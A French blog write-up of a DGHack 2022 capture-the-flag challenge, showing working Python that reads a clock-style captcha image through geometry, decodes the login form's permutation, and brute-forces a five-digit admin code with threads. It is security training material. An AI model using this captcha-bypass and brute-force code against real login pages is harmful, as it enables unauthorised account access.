Bypass de captcha

Write-up du challenge Pas si chronophage du CTF DGHack (édition 2022)

Le

Pour ce deuxième write-up j'aborde la résolution d'un petit challenge de programmation bien sympa dans lequel on va devoir bypass un captcha de type horloge.

Le challenge

Description Cette application permet la connexion de l'utilisateur à son compte de box internet.

La page de connexion se présente comme ceci:

Navigateur : la page de connexion avec son captcha horloge parasité à déchiffrer

Page de connexion

Elle prend en paramètre un username et un code numérique. Un captcha est présent afin de prévenir contre les attaques de type bruteforce. Une indication nous apprend que l'username est "admin" et que le mot de passe est une suite de 5 nombres.

Indication du site : identifiant admin et mot de passe composé de cinq chiffres

On va donc nous falloir contourner le captcha afin de pouvoir bruteforce cette page de connexion.

Automatiser la résolution du captcha

Trouver la positon des aiguilles

On commence par réfléchir un peu: comment repérer les aiguilles sur l'image (malgré les parasites) ? Et bien on va faire appel à nos cours du collège : l'équation du cercle. En effet, on sait que pour un cercle de rayon r et de centre (a,b), les points de coordonnées (x,y) appartenant au cercle vérifient l'équation :

Formule mathématique de l'équation d'un cercle de centre a b et de rayon r

équation du cercle

L'image fait 200x200 pixels, donc le centre de l'image, qui s’avère être le centre de l'horloge, se trouve aux coordonnées (100,100). On mesure grossièrement sur Photoshop la taille des deux aiguilles (en pixels), puis on passe au cercle.

Comme on sait que les aiguilles sont toujours noires, on peut parcourir tous les pixels de l'image, identifier les pixels appartenant au cercle de centre (100,100) et de rayon la taille des aiguilles, puis vérifier qu'ils sont bien noirs. Si c'est le cas, alors on sait que ce pixel est un point de l'aiguille.

Captcha annoté : cercle rouge pour la grande aiguille et cercle bleu pour la petite

Les pixels appartenant au cercle rouge et étant noire font partie de la grande aiguille, et ceux appartenant au cercle bleu et qui sont noirs font partie de la petite aiguille.

Au niveau du code python, j'ai rajouté un pas de 0.5 pour obtenir plus de points au cas où un parasite se situerait sur le point du cercle.

    def f_is_in_cercle(self,pos_point,pos_centre,r):
        is_in_circle =  (r+0.5)**2 <= (pos_point[0] - pos_centre[0])**2 +(pos_point[1] - pos_centre[1])**2 <= (r+0+5)**2
        return is_in_circle

Calculer les angles formés par les aiguilles

Maintenant que l'on connait la position d'un point de chaque aiguille, il nous faut retrouver l'heure qu'elle indique. Pour cela on va mesurer l'angle via la formule du calcul d'angle dans un triangle quelconque:

Schéma : la formule d'Al-Kashi pour calculer un angle dans un triangle quelconque

Pour cela on fixe un troisième point tout en haut de notre image, de coordonnée (100,0), et on applique bêtement la formule.

Captcha annoté : le triangle formé pour mesurer l'angle de la grande aiguille

Calcul de l'angle de la grande aiguille

Dans le cas illustré ci-dessus, on calcule l'angle de la grande aiguille.

NB: Attention, si la coordonnée des abscisses d'une aiguille est inférieure à la moitié de la taille de l'image, il faudra soustraire l'angle trouvé à 360. C'est le cas sur l'image ci-dessus: on prendre l'angle égal à 360° - angle_vert.

    def calc_angle(self,pos_point,pos_centre,r):
        H = (int(pos_centre[0]),int(pos_centre[1]-r))
        segment_PC = sqrt( (pos_centre[0]-pos_point[0])**2 + (pos_centre[1]-pos_point[1])**2 )
        segment_HC = sqrt( (pos_centre[0]-H[0])**2 + (pos_centre[1]-H[1])**2 )
        segment_HP = sqrt( (pos_point[0]-H[0])**2 + (pos_point[1]-H[1])**2 )

        #print(( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC))
        if abs(( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC)) > 1:
            return None
        angle = acos( ( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC) )*180/pi
        if pos_point[0] < self.IMG_SIZE[0]/2:
            angle = 360- angle
        return angle

Une fois qu'on a l'angle, il nous suffit de faire un produit en croix pour retrouver l'heure:

  • 3 heures = 90° => 1 heure = 30°

  • 15 minutes = 90° => 1 minutes = 6°

On adapte en python:

    def get_minute(self,angle):
        return angle/6
    def get_heure(self,angle):
        return angle/30

Maintenant on a tout pour casser le captcha.

class parse_horloge:
    def __init__(self,img_content = None,img="captcha.png"):
        if img_content != None:
            self.IMG = Image.open(BytesIO(img_content))
            self.IMG_debug = Image.open(BytesIO(img_content))
        else:
            self.IMG = Image.open(img)
            self.IMG_debug = Image.open(img)
        self.IMG_SIZE = (200,200)
        self.CENTRE = (self.IMG_SIZE[0]/2,self.IMG_SIZE[1]/2)

        self.LARGEUR_CONTOUR = 96
        self.LARGEUR_GRANDE_AIGUILLE = 70
        self.LARGEUR_PETITE_AIGUILLE = 37

    def find_grande_aiguille(self):
        for x in range(0,self.IMG_SIZE[0]):
            for y in range(0,self.IMG_SIZE[1]):
                coord = (x,y)

                if self.f_is_in_cercle(coord,self.CENTRE,self.LARGEUR_GRANDE_AIGUILLE):
                    if Image.Image.getpixel(self.IMG, coord) == (0,0,0):
                        Image.Image.putpixel(self.IMG_debug, coord, (255,255,0))
                        #print(coord)
                        return self.calc_angle(coord,self.CENTRE,self.LARGEUR_GRANDE_AIGUILLE)
    def find_petite_aiguille(self,angle_grande_aiguille):
        for x in range(0,self.IMG_SIZE[0]):
            for y in range(0,self.IMG_SIZE[1]):
                coord = (x,y)

                if self.f_is_in_cercle(coord,self.CENTRE,self.LARGEUR_PETITE_AIGUILLE):
                    if Image.Image.getpixel(self.IMG, coord) == (0,0,0):
                        Image.Image.putpixel(self.IMG_debug, coord, (255,0,255))
                        #print(coord)
                        #print(" heures: %i" % calc_angle(coord,CENTRE,LARGEUR_PETITE_AIGUILLE) )
                        angle = self.calc_angle(coord,self.CENTRE,self.LARGEUR_PETITE_AIGUILLE)
                        #print(angle)
                        if not angle_grande_aiguille-3 <= angle <= angle_grande_aiguille+3:

                            return angle

    # une heure = 30°
    # 1 minute = 6°
    #
    def get_minute(self,angle):
        return angle/6
    def get_heure(self,angle):
        return angle/30
    def calc_angle(self,pos_point,pos_centre,r):
        H = (int(pos_centre[0]),int(pos_centre[1]-r))
        segment_PC = sqrt( (pos_centre[0]-pos_point[0])**2 + (pos_centre[1]-pos_point[1])**2 )
        segment_HC = sqrt( (pos_centre[0]-H[0])**2 + (pos_centre[1]-H[1])**2 )
        segment_HP = sqrt( (pos_point[0]-H[0])**2 + (pos_point[1]-H[1])**2 )

        #print(( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC))
        if abs(( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC)) > 1:
            return None
        angle = acos( ( float(segment_PC**2) + float(segment_HC**2) - float(segment_HP**2) ) / float(2*segment_PC*segment_HC) )*180/pi
        if pos_point[0] < self.IMG_SIZE[0]/2:
            angle = 360- angle
        return angle

    def f_is_in_cercle(self,pos_point,pos_centre,r):
        is_in_circle =  (r+0.5)**2 <= (pos_point[0] - pos_centre[0])**2 +(pos_point[1] - pos_centre[1])**2 <= (r+0+5)**2
        return is_in_circle

    def run(self):
        angle_minute = self.find_grande_aiguille()
        
        angle_heure = self.find_petite_aiguille(angle_minute)
        #print( "%s:%s" % (str(floor(self.get_heure(angle_heure))).zfill(2),str(round(self.get_minute(angle_minute))).zfill(2)) )
        return "%s:%s" % (str(floor(self.get_heure(angle_heure))).zfill(2),str(round(self.get_minute(angle_minute))).zfill(2))

Automatiser le bruteforce

Contourner la protection

Pour nous compliquer la tâche, la valeur du captcha est d'abord transformée via une permutation dont les paramètres sont aléatoires, puis encodés en base64. Pour résoudre ce léger problème, j'utilise le module beautifulsoup pour parser la page de login, récupérer les paramètres de la permutation et formater les données à envoyer.

class Connect:
    def __init__(self,password="aaaaaa") -> None:
        self.r = requests.session()
        self.page = ""
        self.attribute_valeur = {}
        self.img_url = ""
        self.img_name = ""
        self.img_content = b""
        self.password= password
    def __make_request(self):
        '''
        Envoie une requete sur la page et sauvegarde l'objet retourné
        '''
        self.page = self.r.get(URL)
        if self.page.status_code != 200:
            print(Fore.RED + "[-] " + Fore.WHITE + "Erreur dans la connection")
    def __parse_request(self):
        '''
        Parse tout les elements importants du index.html, c'est à dire:
        - Les valeurs pour envoyer l'heure
        - L'image captcha
        '''
        soup = BeautifulSoup(self.page.text)
        for element in soup.find_all("a", {"class": "Login-key"}):
            self.attribute_valeur[element.find("div").text] = element.find("div")['data-pos']
        self.img_url = URL + soup.find("img",{"class":"captcha-image"})["src"]
    
    def __generate_random_name(self,size=10) -> str:
        '''
        Genere un nom aléatoire pour une image

        :param size:    Taille du nom de l'image
        '''
        letters = string.ascii_lowercase
        return  ( ''.join(random.choice(letters) for i in range(size)) ) + ".png"

    def __save_image(self,save_local=True):
        '''
        Recupere le code de l'image

        :param save_local:  Indique si l'image doit être sauvegardé sur la machine
        '''
        self.img_name = self.__generate_random_name(15)
        self.img_content = requests.get(self.img_url).content
        if save_local:
            f = open(self.img_name,"wb")
            f.write(self.img_content)
            f.close()

    def __calc_horloge_value(self,value : str) -> str:
        '''
        Encode l'heure du captcha

        :param value:   String contenant l'heure (12h) au format HH:MM
        '''
        value = value.replace(":","")
        value_transcoded = ""
        for number in value:
            value_transcoded += self.attribute_valeur[number]
        return value_transcoded
    def __prepare(self):
        self.captcha_value = self.__calc_horloge_value(self.time)
        self.user = USER
        self.password = self.password

        self.post_data = {"username":base64.b64encode(self.user.encode()).decode('utf-8'),
            "password":base64.b64encode(self.password.encode()).decode('utf-8'),
            "captcha":base64.b64encode(self.captcha_value.encode()).decode('utf-8')
        }

    def __send(self):
        self.r_response = self.r.post(URL + "login.php",data=self.post_data)
        #print(self.r_response.status_code)
        #print(self.r_response.text)
        if "Bad username/password" in self.r_response.text:
            return [False,"password"]
        elif "Wrong captcha" in self.r_response.text:
            return [False,"captcha"]
        elif "Bad Gateway" in self.r_response.text:
            return [False,"Bad Gateway"]
        elif not "dghack{" in self.r_response.text.lower():
            print(self.r_response.text) 
            return [False,"Unknown"]    
        else:
            print(self.r_response.text)       
            return [True,self.r_response.text]

    def run(self,log=True):
        if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Recuperation de la page")
        self.__make_request()
        if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Parsing de la page")
        self.__parse_request()
        if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Recuperation de l'image")
        self.__save_image(save_local=log)
        if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Lecture de l'image")
        self.parse_horloge = parse_horloge(img_content=self.img_content)
        self.time = self.parse_horloge.run()
        if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Preparation du formulaire")
        self.__prepare()
        if log: print(Fore.GREEN + "[-] " + Fore.WHITE + "Envoie du formulaire")
        return self.__send()

Le bruteforce

On a maintenant tout ce qu'il faut pour lancer notre bruteforce. On génère toutes les combinaisons de caractères possibles avec les chiffres de 0 à 9, puis on lance.

def generate_wordlist(l):
     yield from itertools.product(*([l] * 5)) 

def bruteforce(wordlist,th):
    for password_test in wordlist:
        password_test = ''.join(password_test)
        try:
                a = Connect(password=password_test)
                result = a.run(log=False)
        except:
                print("- (%i) %s : %sConnection erreur%s" % (th,password_test,Fore.RED,Fore.WHITE))
                result = [False,"Connection"]
        if result[0] == False and result[1] == "captcha":
            while result[1] != "password":
                print("- (%i) %s : %sWrong captcha%s" % (th,password_test,Fore.RED,Fore.WHITE))
                try:
                        a = Connect(password=password_test)
                        result = a.run(log=False)
                except:
                        print("- (%i) %s : %sConnection erreur%s" % (th,password_test,Fore.RED,Fore.WHITE))
                        result = [False,"Connection"]
        if result[0] == False:  
            print("- (%i) %s : %sWrong password%s" % (th,password_test,Fore.RED,Fore.WHITE))
            pass
        else:
            print("- (%i) %s : %sGood password%s !" % (th,password_test,Fore.GREEN,Fore.WHITE))
            sys.exit(0)
            break

DEBUG = False
CHAR = "01234567899"
N = 3 # Nombre de thread
def main():
    if DEBUG:
        a = Connect()
        a.run()
    else:
        wordlist = list(generate_wordlist(CHAR))
        print(len(wordlist))
        threads = []
        for i in range(0,N):
            start = int(len(wordlist)/N) * i
            end = int(len(wordlist)/N) * (i+1)
            print("threads %i : %i -> %i" % (i,start,end))
            threads.append( threading.Thread(target=bruteforce, args=(wordlist[start:end],i)) )
            
        for i in range(0,N):
            threads[i].start()

main()

Accès Restreint

Cet article n'est pas (encore) publique.
Pour obtenir un accès anticipé, contactez-moi.

[[ passwordError ]]

[[ post.title ]]

[[ post.description ]]

Le [[ post.date ]]

[[ tag ]]
[[ currentMatchIndex + 1 ]] / [[ searchMatches.length ]] 0 / 0

Sommaire

Page principale